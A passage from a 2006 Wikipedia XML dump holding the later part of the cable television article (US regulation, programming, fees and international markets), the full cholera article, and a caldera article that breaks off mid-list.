Los Angeles, some of which could be seen in San Diego; the television stations in San Diego didn't want the signals imported. The television stations won, not allowing the signals on future cable lines in San Diego and its environs. The FCC's reasoning was to protect the present and future [[ultra high frequency]] stations in San Diego. 

In the First Report and Order by the Federal Communications Commission on CATV the FCC gave itself the power to regulate CATV. This Report and Order was designed to protect small town television stations. It did this by imposing two rules, which in slightly altered form still stand: one requires that a CATV system carry all local stations in which the CATV system is in the &quot;A&quot; (best reception) contour of the station. The second prohibits the importation of programs from a non-local station that duplicates programming on a local station if the duplication is shown either 15 days before or 15 days after its local airing. This [[1965]] report reasoning is as follows: 1) CATV should carry local stations because CATV supplements, not replaces, local stations and the non-carriage of local stations gives distant stations an advantage since people will not change from the cable to the antenna to see a local station; 2) non-carriage is &quot;inherently contrary to the public interest&quot;; 3) CATV duplication of local programming via distant signals is unfair since broadcasters and CATV do not compete for programs on an equal footing; the FCC recommends &quot;a reasonable measure of exclusivity&quot;. 

The [[1966]] Second Report and Order made some minor changes in the First Report and Order and added a major regulation. This was designed to protect UHF stations in large cities. The new rule disallowed the importation of distant signals into the top 100 markets, thus making CATV profitable only in cities with poor reception. In 1968 the Supreme Court upheld the FCC's right to make rules and regulations concerning CATV. In its decision on United States v. Southwestern Cable, the &quot;San Diego Case&quot;, it said &quot;the Commissions authority over 'all interstate ... communications by wire or radio' permits the regulation of CATV systems.&quot;

=== The birth of public access television ===
{{main|Public-access television}}
In [[1969]] the FCC issued rules requiring all CATV systems with over 3500 subscribers to have facilities for local origination of programming by [[April 1]], [[1971]]. The date was later suspended. In [[1972]], Dean Burch steered the FCC into a new area of regulation. It lifted its restrictions on CATV in large cities, but now put the burden of more local programming on CATV operators. In [[1976]], the FCC used its rule making power to require that new systems now had to have 20 channels, and that cable providers with systems of 3500 subscribers or more had to provide PEG ([[public-access television|public]], education, and government access) channel capacity, and facilities and equipment necessary to use this capacity.

==Programming==
===United States===
In the [[United States]], cable television programming is often divided between basic and premium programming. Basic cable TV networks are generally transmitted without any [[Television encryption|scrambling]] or other special methods and thus anyone connected to the cable TV system can receive them.  Basic cable networks receive at least some funding through fees paid by the cable TV systems for the right to include the network in its channel lineup.  Most basic cable TV networks also include advertising to supplement the fees, due to their programming cost being greater than the fees paid by cable TV systems. Premium cable refers to networks, such as [[HBO]] and [[Showtime]], that scramble or encrypt their signals so that only those paying additional monthly fees to their cable TV system can legally view them (via the use of cable box).  Because these networks command much higher fees from cable TV systems, their programming is generally commercial free. 

There are several features of cable programming that distinguish it from broadcast television.  Because cable television carries more bandwidth than broadcast TV (10 to 20 times as many channels), there is room for more specialized channels catering to particular demographics or interests.  Also, because cable TV networks rely much less, or in some cases not at all, on revenue from commercials, they can feature programming (such as speciality sports or programming in foreign languages) that draws much smaller viewer numbers than what broadcast networks would find acceptable.  And finally, since cable TV channels cannot be viewed by those (e.g., children) without the proper equipment, the FCC’s rules regarding acceptable content do not apply to cable TV networks, allowing greater freedom in the use of language, nudity, and violence. 

The lack of restrictions on content has led to cable TV programs with more adult-oriented content such as [[nudity]] and strong language, including some premium cable networks broadcasting [[soft-core porn]] programs.  Premium cable networks have traditionally been the loosest with regard to content, since they require a cable box to view, making it easier to restrict children’s access to them.  Thus, one can find nudity, foul language, and even soft-core pornography on these networks, though, so far, not [[hard-core pornography]], possibly due in part to such factors as the risk of cable TV systems dropping them or legal risk.  Basic cable, on the other hand, has not traditionally been as loose with regard to content.  While there are no FCC rules that apply to content on basic cable networks, because most such networks rely at least partly on advertising revenue, they have buckled to pressure from advertisers to keep their content more in line with that of broadcast TV.  Thus, many basic cable networks voluntarily censor their programs, particularly with regard to language and nudity.  In recent years though, some basic cable networks have begun to relax their self-imposed restrictions, particularly late at night.  Thus, programs like [[Comedy Central]]’s [[South Park]] often contain content deemed unsuitable for U.S. broadcast TV.  Some basic cable networks have also recently aired R-rated movies, uncut, late at night.

There has been a recent push to create laws that force cable providers to allow consumers to purchase individual cable TV channels &quot;a la carte,&quot; i.e. to allow them to pick and choose which channels they would like to have available in their homes.  This is not likely to occur until digital cable television becomes popular, although technically, analog cable television would be sufficient if all channels were scrambled, as it is very difficult to notch out individual channels from a cable TV line without scrambling.  For example, many cable providers have a &quot;basic plan&quot; consisting of local channels and a few national cable networks; and an &quot;economy basic&quot; plan consisting of local channels only.  Both plans are supplied on the same cable, but the cable company can filter out the expanded channels to the &quot;economy basic&quot; subscribers using a low-pass filter which filters out higher channels.  Notch filters are available which can filter out a &quot;notch&quot; of channels (for example, channels 45-50 can be &quot;notched&quot; out yet the subscriber can receive channels below 45 and higher than 50).  However, to do this individually for a single subscriber who wants many &quot;notches,&quot; would be very difficult unless a scrambling system is used requiring a set-top box.  These problems are alleviated with the use of digital cable, which requires a set-top converter box.  This converter can be programmed remotely to allow or disallow access to channels on an individual basis. The use of [[IPTV]] (i.e., delivery of television over an internet or IP-based network) makes it even easier, since the provisioning of channels can be fully automated.

==Cable television fees and programming lineups==
Cable TV systems impose a monthly fee depending on the number and perceived quality of the channels offered.  Cable TV subscribers are offered various packages of channels one can subscribe to. The cost of each package depends on the type of channels offered (basic vs. premium) and the quantity. These fees cover the fees paid to individual networks for the right to carry their network as well as the cost of  operating and maintaining the cable TV system so that their signals can reach subscribers homes. Additional fees and taxes are often tacked on by local, state, and federal governments.  The fee the cable TV system must pay to a cable TV network will vary depending on whether it is a basic or premium channel and the perceived popularity of that channel. Because cable TV systems are not required to carry any basic cable channels, they often try and negotiate the fee they will pay for carrying a channel. Thus more popular networks have been able to command much higher fees then less popular networks. The fees paid to basic cable networks has a benefit in that advertisement breaks on basic cable are either absent or their number and duration are far lower than on broadcast TV, where ads make up around 25% of programming in the U.S.  

Most cable systems divide their channel lineups into three or four basic channel packages. A must-carry rule requires all cable TV systems to carry local broadcast stations on their lineups. Cable TV systems are also required to offer a subscription package that provides these broadcast channels at a lower rate than the standard subscription rate. The basic programming package offered by cable TV systems is usually known as basic cable and provides access to a large number of basic cable TV networks, as well as broadcast channels, and [[local-access television]] channels. Some systems refer to this package as expanded basic, with their most minimal package being referred to as basic cable. In addition to the basic cable packages, all systems offer premium channel add-on packages offering either just one premium network (e.g. HBO) or several premium networks for one price (e.g. HBO and Showtime together). Finally, most cable systems offer pay-per-view channels where users can watch individual movies, live programs, sports, etc. for an additional fee for single viewing at a scheduled time. Some cable systems have begun to offer [[on-demand programming]], where customers can select programs from a list of offerings including recent releases of movies, concerts, sports, and reruns of TV shows and specials and start the program whenever they wish, as if they were watching a DVD or a VHS tape. Some of the offerings have a cost similar to renting a movie at a video store while others are free.   

Starting in the late [[1990s]], advances in digital signal compression (primarily Motorola's [[DigiCipher 2]] technology in [[North America]]) have given rise to wider implementation of [[digital cable]] services. Digital cable provides many more television channels over the same available bandwidth, by converting cable TV channels to a digital signal and then compressing the signal. Currently, most systems offer a hybrid analog/digital cable system. This means they offer a certain number of analog channels via basic cable service with additional channels being made available via digital cable service. Thus subscribers wishing to have access to digital cable channels must have a special cable box to receive them. Additional subscription fees are also usually required to receive these digital channels. 
Digital cable channels can offer a higher quality picture than their analog counterparts though digital compression has a tendency to soften the quality of the television picture, particularly of channels that are more heavily compressed.

Many cable systems operate as local monopolies in the United States, as cable companies typically receive exclusive rights to serve a region as a result of a franchise agreement with a local government. In some areas that is changing as competition has been allowed to enter the market, including, in some cases, city run cable systems. The rise of [[Digital Satellite System]]s, which provide the same type of programming using small satellite receivers, has also provided competition to cable TV systems.

===Mexico===
The first cable system started to operate in the early Sixties in Monterrey, as a CATV service (an antenna at the top of the Loma Larga, which could get TV signals from South Texas). Most of the other major cities didn't develop cable systems until the late Eighties, due to government censorship. By 1989 the industry had had a major impulse with the founding of Multivisión&amp;mdash;a MMDS system who started to develop its own channels in Spanish&amp;mdash;and the later development of companies such as Cablemas and [[Megacable]]. 

Over the past few years, many US networks have started to develop content for the Mexican market, such as [[CNN en Español]], [[MTV]], [[Cartoon Network]], [[Disney Channel]], and others. The country also has a DTH service called SKY (Televisa &amp; News Corp. owned). Recently DirecTV merged with Sky. The dominant company nowadays is [[Megacable]].

===United Kingdom===
In the UK Cable Television had its origins in 1938, when the first Community Antenna TV systems were setup in towns including [[Bristol]] and [[Hull]], for homes which couldn't receive transmisssions over the air; however these signals were on the [[405-line]] system. In the [[1960s]] [[Rediffusion Vision]] was setup to provide cable television in the newer 625-line and [[PAL]] formats.

In the early [[1980s]] Rediffusion Vision suplimented its service with other channels including [[The Box (TV channel)|The Music Box]], [[Screensport (TV Channel)|Screensport]], [[Sky One|Sky Channel]] and [[TEN (TV Channel)|TEN]]. The service was renamed to [[Rediffusion Cablevision]].

In the [[United Kingdom]], the current generation of cable television began in the late [[1980s]] with the issue of franchises to many local operators. These small operations proved uneconomic and there has been a continuing process of consolidation and re-financing.

The two principal cable operators are now [[NTL]] and [[Telewest Broadband]], which are themselves in the process of merging.  NTL's cable service was originally known as CableTel and grew rapidly through the acquisition of, among others, ComTel (which itself had bought Telecential), Comcast, Diamond Cable and finally, in [[1999]], the residential and small business operations of [[Cable &amp; Wireless]]. Telewest also steadily acquired local operators.

Cable TV faces intense competition from [[British Sky Broadcasting|SkyDigital]]'s [[satellite television]] service, although most channels on that platform are also carried on cable (however they do lack features- for example interaction news or football that is- available  to Sky Digital viewers); very few channels are now exclusive to cable. However, paid for [[digital terrestrial television]] proved less of a competitive threat, as [[ITV Digital]] went into liquidation in [[2002]].  The re-launch of DTTV as the free [[Freeview]] service has been a success in introducing people to multichannel digital TV and seems not to have adversely affected the growth of cable and satellite subscribers.

Another potential source of competition in the future will be TV over [[broadband]]. This was initially launched, using [[ADSL]], in [[London]], where it is provided by [[HomeChoice]], and [[Kingston upon Hull|Hull]], where it where it is provided by [[Kingston Communications]] (as of April 1st, KIT will cease).  As the speed and availability of broadband connections increase, more TV content can be delivered using protocols such as [[IPTV]].

===Republic of Ireland===
Cable television first started in the [[Republic of Ireland]] in the [[1970s]], when several comapnies (incluing state broadcaster [[RTÉ]] who began a service called RTE Relays -later Cablelink), started rebroadcasting the UK's (then) three terrestrial TV channels in some cities and larger towns. The services began offering a number of satellite channels in the [[1980s]]. The state telephone operator [[Telecom Éireann]] (now [[eircom]]) was also a stakeholder. In 1989 the company started an [[MMDS]] service called Multilink serving rural areas, as did other companies such as Irish Mulitchannel in [[Cork]], now called [[Chorus Communications|Chorus]]. Cablelink was sold to NTL in [[1999]], and renamed NTL Ireland.  On [[9 May]] [[2005]], the business was sold for [[Euro|&amp;euro;]] 325 million to MS Irish Cable Holdings BV, an affiliate of [[Morgan Stanley]].  At the time, Morgan Stanley said that it has entered into an agreement to re-sell the business to UPC Ireland BV, an indirect subsidiary of UnitedGlobalCom, now [[Liberty Global Europe]], subject to regulatory approval. 

A small number of other cable providers exist, usually serving a single town. Crossan in [[Longford]] and Casey in [[Dungarvan]] are the only two of these to have moved to a digital network, with the remaining systems often being little more than a community antenna system.

In rural areas where neither cable or MMDS are available, there have been 'deflectors', which pick up the UK terrestrial channels (either from [[Northern Ireland]] or [[Wales]]), and retransmit them on local [[Ultra high frequency|UHF]] signals along with other channels. These operators faced legal action in the late [[1990s]] from MMDS operators, as they did not pay royalties to the relevant broadcasters, and were not licensed. When the deflectors were shut down, there was such an outcry in those areas that an independent candidate in [[County Donegal]], [[Tom Gildea]], was elected as a [[Teachta Dála|TD]] on a platform of supporting legalisation, which occurred in [[1999]].

===Hong Kong===
''[[i-Cable Communications Limited]] ''(branded as &quot;''CableTV''&quot;) is the holding company that runs [[Hong Kong]]'s one of four cable television service providers. It is listed on the [[Hong Kong Stock Exchange]] and [[NASDAQ]]. ''Wharf Holdings Limited'' owns 67 per cent of the cable provider and the rest amongst public shareholders. Another three operators offers pay-TV via [[Digital Subscriber Line|DSL]], they are Now Broadband TV([[PCCW]]), HKBN Digital TV and SuperSUN(controlled by [[TVB]]).

Many in Hong Kong watch subscription TV using [[satellite television|satellite]] systems like [[STAR TV]].

===Singapore===
[[StarHub Cable Vision]] is the sole cable television operator in [[Singapore]], where private ownership of satellite dishes is banned. StarHub Cable Vision was formed as a result of a merger between [[StarHub]] and [[Singapore Cable Vision]] on [[15 May]] [[2002]]. The latter first began broadcasting as a terrestrial pay-television operator in [[1992]] as the first cable network was not completed until [[1995]]. Around 15% of households and offices in Singapore are connected to the StarHub network.

===Australia===
In [[Australia]], most people do not have access to cable. Satellite is a more common way of getting subscription TV services.

[[Telstra]]'s [[Foxtel]]-carrying cable network covers parts of [[Sydney]], [[Melbourne]], [[Brisbane]], [[Adelaide]], and [[Perth, Western Australia|Perth]].

[[Optus]]'s network covers small parts of [[Sydney]], [[Melbourne]], and [[Brisbane]], though its restrictive subscription rules means that many people in this area are not allowed to subscribe.

A small part of [[Perth, Western Australia|Perth]] is covered by [[Bright Telecomunications]]. Part of [[Canberra]] is covered by [[TransACT]]. Much of [[Darwin, Northern Territory|Darwin]] is covered by [[Austar]]. Parts of [[Geelong, Victoria|Geelong]], [[Ballarat, Victoria|Ballarat]] and [[Mildura, Victoria|Mildura]] are reached by [[Neighbourhood Cable]].

==Other cable-based services==
Coaxial cables are capable of bi-directional carriage of signals as well as the transmission of large amounts of data. Cable television signals use only a portion the bandwidth available over coaxial lines. This leaves plenty of space available for other digital services such as [[broadband internet]] and [[cable telephony]].

Unlike [[North America]], many cable operators in [[Europe]] have already introduced telephone services, which operate just like existing fixed line operators. 

Broadband internet is achieved over coaxial cable by using [[cable modem]]s to convert the [[television network|network]] data into a type of digital signal that can be transferred over coaxial cable. One problem with some cable systems is the older amplifiers placed along the cable routes are unidirectional thus in order to allow for uploading of data the customer would need to use an analog modem to provide for the upstream connection. This limited the upstream speed to 56k and prevented the always-on convenience broadband internet typically provides. Many large cable systems have upgraded or are upgrading their equipment to allow for bi-directional signals, thus allowing for greater upload speed and always-on convenience, though these upgrades are expensive.

Another service being added to many cable systems is [[cable telephone]] service. This service involves installing a special telephone interface at the customer's premises that converts the analog signals from the customer's in-home wiring into a digital signal, which is then sent on the [[local loop]] (replacing the analog [[last mile]], or [[Plain old telephone service|POTS]]) to the company's switching center, where it is connected to the [[PSTN]]. The biggest obstacle to cable telephone service is the need for nearly 100% reliable service for emergency calls. One of the standards available for digital cable telephony, [[PacketCable]], seems to be the most promising and able to work with the [[Quality of Service]] demands of traditional analog POTS service. The biggest advantage to digital cable telephone service is similar to the advantage of digital cable TV, namely that data can be compressed, resulting in much less bandwidth used than a dedicated analog circuit-switched service. Other advantages include better voice quality and integration to a [[VoIP]] network providing cheap or unlimited nationwide and international calling. Note that in most cases, digital cable telephone service is separate from [[cable modem]] service being offered by many cable companies and does not rely on IP traffic or the Internet.

A chart showing the North American cable television bandplan can be found [[North American cable television frequencies|here]].

Cable television is facing increasing competition from [[satellite television]]. {{seealso|List of cable companies}}

==See also==
* [[List of United States cable and satellite television networks]]

==References==
* [http://www.wharfcable.com Wharf Cable Home Page]
* [http://www.cabletv.com.hk Cable TV Hong Kong]
* [http://www.roventa.lt Cable TV Roventa ]

{{CATV}}

[[zh-cn:有线电视]]


[[Category:Cable television| ]]

[[bg:Кабелна телевизия]]
[[ca:Televisió per cable]]
[[de:Kabelfernsehen]]
[[eo:Kabla televido]]
[[es:Televisión por cable]]
[[fr:Télévision par câble]]
[[he:טלוויזיה בכבלים]]
[[ja:ケーブルテレビ]]
[[nl:Kabeltelevisie]]
[[pt:Televisão a cabo]]
[[ru:Кабельное телевидение]]
[[sr:Кабловска телевизија]]</text>
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    <title>Charles S. Peirce</title>
    <id>7588</id>
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    <title>Charles Sanders Peirce</title>
    <id>7589</id>
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  <page>
    <title>Cholera</title>
    <id>7591</id>
    <revision>
      <id>41940695</id>
      <timestamp>2006-03-02T19:48:40Z</timestamp>
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      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Cholera |
  ICD10       = A00 |
  ICD9        = {{ICD9|001}} |
}}
'''Cholera''' (also called '''Asiatic cholera''') is a [[water-borne disease]] caused by the [[bacterium]] ''[[Vibrio cholerae]]'', which are typically ingested by drinking contaminated water, or by eating improperly cooked fish, especially [[shellfish]].  It was first described in a scientific manner by the [[Portugal|Portuguese]] physician [[Garcia de Orta]] in the [[16th century]].

==Pathology==
===Susceptibility===
Cholera produces potentially lethal secretory diarrhea through a pathway that involves the [[cystic fibrosis transmembrane conductance regulator]], CFTR (Gabriel 1994).  This discovery led to the hypothesis that carriers for [[cystic fibrosis]], who have lower levels of functional CFTR, are protected from the severe effects of cholera because they don't lose water as quickly as other people. This might explain the high incidence of cystic fibrosis among populations which were formerly exposed to cholera.  However, no evidence of resistance ''[[in vivo]]'' has been observed in humans, and studies in mice have produced conflicting results (Gabriel 1994, Cuthbert 1995, Hogenauer 2000).

Recent [[genetics|genetic research]] has determined that a person's susceptibility to cholera (and other diarrheas) is affected by their [[blood type]]. Those with type O blood are the most susceptible. Those with type AB are the most resistant, virtually immune. Between these two extremes are the A and B blood types, with type A being more resistant than type B.

[[Image:cholera bacteria SEM.jpg|thumb|''Vibrio cholerae'': The bacteria that causes cholera ([[Scanning electron microscope|SEM]]&amp;nbsp;image)]]

About one million ''Vibrio cholerae'' bacteria must be ingested to cause cholera in normally healthy adults, although increased susceptibility may be observed in those with a weakened [[immune system]], individuals with decreased gastric acidity (as from the use of [[antacid]]s), or those who are [[malnutrition|malnourished]].

===Transmission===
Cholera is transmitted through ingestion of feces contaminated with the bacterium.  The contamination usually occurs when untreated sewage is released into waterways, affecting the water supply, any foods washed in the water, and shellfish living in the affected waterway &amp;#151; it is rarely spread directly from person to person.
The resulting diarrhea allows the bacterium to spread to other people under unsanitary conditions.

===Symptoms===
Symptoms include those of general GI tract upset: [[Diarrhea#Acute diarrhea|profuse diarrhea]] (eg 1L/hour), abdominal [[cramp]]ing, [[fever]], [[nausea]] and [[vomiting]]. Also those of the resulting dehydration: [[thirst]], muscle cramps, weakness, loss of tissue [[turgor]], sunken eyes and wrinkled skin, severe [[metabolic acidosis]] with [[potassium depletion]], [[anuria]], circulatory collapse and [[cyanosis]]. Death is through circulatory volume shock (massive loss of fluid and electrolytes), and can occur within hours.

The root causes of these symptoms are the [[enterotoxin]]s that ''V. cholerae'' produces.  The main enterotoxin, known as '''cholera toxin''', interacts with [[G protein]]s and [[cyclic AMP]] in the intestinal lining to open [[ion channels]].  As ions flow into the intestinal [[lumen]], water follows through osmosis.

==History==
===Origin and Spread===
Cholera was originally [[endemic (epidemiology)|endemic]] to the Indian subcontinent, with the [[Ganges River]] likely serving as a contamination reservoir. It spread by trade routes (land and sea) to [[Russia]], then to [[Western Europe]], and from Europe to [[North America]]. It is now no longer considered an issue in Europe and North America, due to [[water filtration|filtering]] and [[chlorination]] of the water supply.

* 1816-1826 - '''First pandemic''': Previously restricted, the pandemic began in [[Bengal]], then spread across [[India]] by 1820. It extended as far as [[China]] and the [[Caspian Sea]] before receding.
* 1829-1851 - '''Second pandemic''' reached Europe, [[London]] and [[Paris]] in 1832 (in London, it claimed at least 3000 victims according to a [[1832]] article; in Paris, 20 000 on a population of 650 000, and 100 000 in all of France [http://www.amicale-genealogie.org/Histoires_temps-passe/Epidemies/chol01.htm]), Russia ([[Cholera Riots]]), [[Quebec, Canada|Quebec]], [[Ontario, Canada|Ontario]] and [[New York]] in the same year, and the Pacific coast of North America by 1834.
* 1849 - Second outbreak in Paris. An outbreak in North America took the life of [[President of the United States|U.S. President]] [[James K. Polk]]
* 1852-1860 - '''Third pandemic''' mainly affected Russia, with over a million deaths.
* 1863-1875 - '''Fourth pandemic''' spread mostly in Europe and [[Africa]].
* 1866 - Outbreak in North America. &lt;!-- taken from above paragraph. Not sure if this is separate from the 4th pandemic --&gt;
* 1899-1923 - '''Sixth pandemic''' had little effect in Europe because of advances in public health, but Russia was badly affected again.
* 1961-1970s - '''Seventh pandemic''' began in [[Indonesia]], called [[El Tor]] after the strain, and reached [[Bangladesh]] in 1963, India in 1964, and the USSR in 1966. From [[North Africa]] it spread into Italy by 1973. In the late 1970s there were small outbreaks in Japan and in the South Pacific.
* January 1991 to September 1994 - Outbreak in [[South America]], apparently initiated by discharged ballast water. Beginning in [[Peru]] there were 1.04 million identified cases and almost 10,000 deaths. The causative agent was a non-O1, [[nonagglutinable vibrio]] (NAG) named O139 Bengal. It was first identified in [[Tamilnadu]], India and for a while displaced El Tor in southern Asia before decreasing in prevalence from 1995 to around 10% of all cases. It is considered to be an intermediate between El Tor and the classic strain and occurs in a new serogroup. There is evidence as to the emergence of wide-spectrum resistance to drugs such as [[trimethoprim]], [[sulfamethoxazole]] and [[streptomycin]].

===Research ===
The scientists with major contributions to fighting cholera were [[John Snow (physician)|John Snow]], who found the link between cholera and drinking water in [[1854]], and [[Robert Koch]], who identified ''V. cholerae'' as the bacillus causing the disease.  The bacterium was originally isolated thirty years earlier by Italian anatomist [[Filippo Pacini]], but his results were not widely known around the world.

=== Other historical information ===
In the past, people travelling in ships would hang a yellow flag if one of the crews suffered from cholera. Boats with a yellow flag hung would not be allowed to disembark at any harbor. (See ''[[Love in the Time of Cholera]]'')

==Treatment==
Treatment typically consists of aggressive [[rehydration]] and [[oral rehydration salt|replacement of electrolytes]], since the death rate is generally high due to the serious dehydration caused by the illness.

===Prevention===
Although cholera can be life-threatening, it is easily prevented. In the United States and Western Europe, because of advanced water and sanitation systems, cholera is not a major threat.  The last major outbreak of cholera in the United States was in [[1911]].  However, everyone, especially travelers, should be aware of how the disease is transmitted and what can be done to prevent it.

Simple sanitation is usually sufficient to stop an epidemic.  There are several points along the transmission path at which the spread may be halted:
* Sickbed:  Proper disposal and treatment of waste produced by cholera victims.
* Sewage:  Treatment of general sewage before it enters the waterways.
* Sources:  Warnings about cholera contamination posted around contaminated water sources.
* Sterilization: Boiling, filtering, and chlorination of water before use.

Filtration and boiling is by far the most effective means of halting transmission. [[Cloth filter]]s, though very basic, have greatly reduced the occurrence of cholera when used in poor villages in Bangladesh that rely on untreated surface water. 

In general, education and sanitation are the limiting factors in prevention of cholera epidemics.

==Sources==
* FDA &quot;Bad Bug Book&quot; entry:  http://vm.cfsan.fda.gov/~MOW/chap7.html
* [http://web.archive.org/web/20021218200225/http://attila.stevens-tech.edu/chembio/ecronenw/final~1.htm Cholera and the Cholera Toxin], by Elizabeth Cronenwett

== References ==
* Cholera facts from the United States [[FDA]] website: http://vm.cfsan.fda.gov/~MOW/chap7.html
* Gabriel, S.E. et al; Cystic fibrosis heterozygote resistance to cholera toxin in the cystic fibrosis mouse model; Science: 1994, v 266, 5182; pp 107-109
* Cuthbert, A.W. et al; The genetic advantage hypothesis in cystic fibrosis heterozygotes: a murine study; J Physiol: 1995, v 482; pp 449-454
* Hogenauer, C. et al; Active intestinal chloride secretion in human carriers of cystic fibrosis mutations: an evaluation of the hypothesis that heterozygotes have subnormal active intestinal chloride secretion; Am J Hum Genet: 2000, v 67, i 6, pp 1422-1427
* Cholera in 19th century,London: John Snow: website:
www.ph.ucla.edu/epi/snow.html

== External links ==
*[http://www.doctorswithoutborders.org/news/cholera/index.cfm Medecins Sans Frontieres/Doctors Without Borders Cholera link to Cholera pages]
* [http://www.posen-l.com/Cholera.htm Posen-L:consise description, extended history of epidemics, with timeline]
* [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=8035040 Study on the relationship between blood type and cholera susceptibility] (Medline)
* [http://textbookofbacteriology.net/cholera.html Todar's Online Textbook of Bacteriology: Cholera]
* [http://www.cdc.gov/ncidod/dbmd/diseaseinfo/cholera_g.htm What is Cholera?] (CDC)

[[Category:Neurotoxins]]
[[Category:Foodborne illnesses]]
[[Category:Bacterial diseases]]
[[Category:Water-borne diseases]]
[[Category:Pandemics]]

[[cs:Cholera]]
[[da:Kolera]]
[[de:Cholera]]
[[et:Koolera]]
[[es:Cólera]]
[[eo:Ĥolero]]
[[eu:Kolera]]
[[fa:وبا]]
[[fr:Choléra]]
[[ko:콜레라]]
[[id:Kolera]]
[[it:Colera]]
[[he:כולרה]]
[[li:Cholera]]
[[hu:Kolera]]
[[ms:Penyakit Taun]]
[[nl:Cholera]]
[[ja:コレラ]]
[[no:Kolera]]
[[pl:Cholera]]
[[pt:Cólera]]
[[ru:Холера]]
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[[sr:Колера]]
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[[uk:Холера]]
[[zh:霍亂]]</text>
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  </page>
  <page>
    <title>Caldera</title>
    <id>7592</id>
    <revision>
      <id>40315261</id>
      <timestamp>2006-02-19T19:37:37Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Instant star 92|Instant star 92]] ([[User talk:Instant star 92|talk]]) to last version by 212.80.64.162</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Crater Lake from rim-USGS.jpg|thumb|270px|Crater Lake|Crater Lake, Oregon]]A '''caldera''' is a [[volcano|volcanic]] feature formed by the collapse of a volcano into itself.  Calderas may be filled with water, creating crater lakes.  The word 'caldera' comes from a [[Spanish language|Spanish]] word meaning &quot;cauldron&quot;.

==Caldera formation==
A caldera collapse is usually triggered by the emptying of the [[magma chamber]] beneath the volcano, often as the result of a large [[volcanic eruption|eruption]]. If enough magma is erupted, the emptied chamber will not be able to support the weight of the ''volcanic edifice'' (the [[mountain]]) above.  Fractures will form around the edge of the chamber, usually in a roughly circular shape.  These ''ring fractures'' may in fact serve as volcanic vents. As the magma chamber empties, the center of the volcano within the ring fractures begins to collapse.  The collapse may occur as the result of a single massive eruption, or it may occur in stages as the result of a series of eruptions.  The total amount of collapse may be hundreds or thousands of meters.

===Explosive calderas===
If the magma is rich in [[silica]], the caldera is often filled in with [[ignimbrite]], [[tuff]], [[rhyolite]], and other [[igneous rock]]s.  Silica-rich magma is very [[viscous]].  As a result, gases tend to become trapped at high pressure within the magma.  When the magma gets near the surface of the Earth, the gas expands quickly, causing [[explosion]]s and spreading [[volcanic ash]] over wide areas.  Further [[lava]] flows may be erupted, and the center of the caldera is often uplifted in the form of a ''[[resurgent dome]]'' by subsequent intrusion of magma.  A ''silicic'' or ''rhyolitic caldera'' may erupt hundreds or even thousands of [[cubic kilometer]]s of material in a single event.  Even small caldera-forming eruptions, such as [[Krakatoa]] in [[1883]] or [[Mount Pinatubo]] in [[1991]], may result in significant local destruction and a noticeable drop in temperature around the world.  Large calderas may have even greater effects. 

[[Image:Caldera de Taburiente.jpg|thumb|left|250px|View of the massive walls of the Caldera de Taburiente, La Palma: a caldera formed by erosion]]

When [[Yellowstone Caldera]] erupted 630,000 years ago it released 1000 cubic kilometers of material, covering half of [[North America]] in up to two meters of debris.  By comparison, when [[Mount St. Helens]] erupted in [[1980]], it released 1.2 cubic kilometers of ejecta. The ecological effects of the eruption of a large caldera can be seen in the record of the [[Lake Toba]] eruption in [[Indonesia]]. About 75,000 years ago, this volcano released 2800 cubic kilometers of ejecta, the largest known eruption within the [[Quaternary]] Period (last 1.8 million years). In the late 1990s, [[archeologist]] Stanley Ambrose [http://www.anthro.uiuc.edu/faculty/ambrose/] proposed that a [[volcanic winter]] induced by this eruption reduced the [[human]] population to a few thousand individuals, resulting in a [[population bottleneck]] (''see'' [[Toba catastrophe theory]]). Even larger caldera-forming eruptions are known, especially [[La Garita Caldera]] in the [[San Juan Mountains]] of [[Colorado]], where the 5000 cubic kilometer Fish Canyon Tuff was blasted out in a truly major single eruption 27.8 million years ago.

At some points in [[geologic time]], rhyolitic calderas have appeared in distinct clusters.  The remnants of such clusters may be found in places such as the [[San Juan Mountains]] of [[Colorado]] (erupted during the [[Tertiary Period]]) or the [[Saint Francois Mountain Range]] of [[Missouri]] (erupted during the [[Proterozoic]]).

===Non-explosive calderas===
Some volcanoes, such as [[Kilauea]] on the island of [[Hawaii (island)|Hawaii]], form calderas in a different fashion. In the case of Kiluaea, the magma feeding the volcano is relatively silica poor. As a result, the magma is much less [[viscous]] than the magma of a rhyolitic volcano. Such calderas are also known as subsidence calderas. The magma chamber is drained by large lava flows rather than by explosive events.  [[Kilauea]] Caldera has an inner crater known as Halema&amp;#8216;uma&amp;#8216;u, which has often been filled by a lava lake. The largest volcano on Earth, [[Mauna Loa]] is also capped by a subsidence caldera called [[Mauna Loa|Moku&amp;lsquo;&amp;#257;weoweo Caldera]].

===Non-volcanic calderas===

It is possible, although rare, for a caldera-like formation to be created by erosion rather than volcanism.  It is believed that the [[Caldera de Taburiente]] on [[La Palma]] in the [[Canary Islands]] is an example of this.

==Notable calderas==
''See also [[:Category:Volcanic calderas]]
*Africa
**[[Ngorongoro Crater]] ([[Tanzania]], Africa)
**''See ''Europe'' for calderas in the Canary Islands
*Asia 
**[[Aira Caldera]] ([[Kagoshima Prefecture]], [[Japan]])
**[[Aso]] ([[Kumamoto Prefecture]], [[Japan]])
**[[Kikai Caldera]] ([[Kagoshima Prefecture]], [[Japan]])
**[[Krakatoa]], [[Indonesia]]
**[[Mount Pinatubo]] ([[Luzon]], [[Philippines]])
**[[Lake Toba]] ([[Sumatra]], [[Indonesia]])
** [[Mount Tambora]] ([[Sumbawa]], [[Indonesia]])
**[[Tao-Rusyr Caldera]] ([[Onekotan]], [[Russia]])
*Americas 
**USA
***[[Mount Aniakchak]] ([[Alaska]], US)
***[[Crater Lake]] on [[Mount Mazama]] ([[Crater Lake National Park]], [[Oregon]], [[United States]])
***[[Kilauea]] ([[Hawaii]], US)
***[[Mauna Loa|Moku&amp;lsquo;&amp;#257;weoweo Caldera]] on [[Mauna Loa]] ([[Hawaii]], US)
***[[Mount Katmai]] ([[Alaska]], US)
***[[La Garita Caldera]] ([[Colorado]], US)
***[[Long Valley Caldera|Long Valley]] ([[California]], [[United States|US]])
***[[Newberry Caldera]] ([[Oregon]], US)
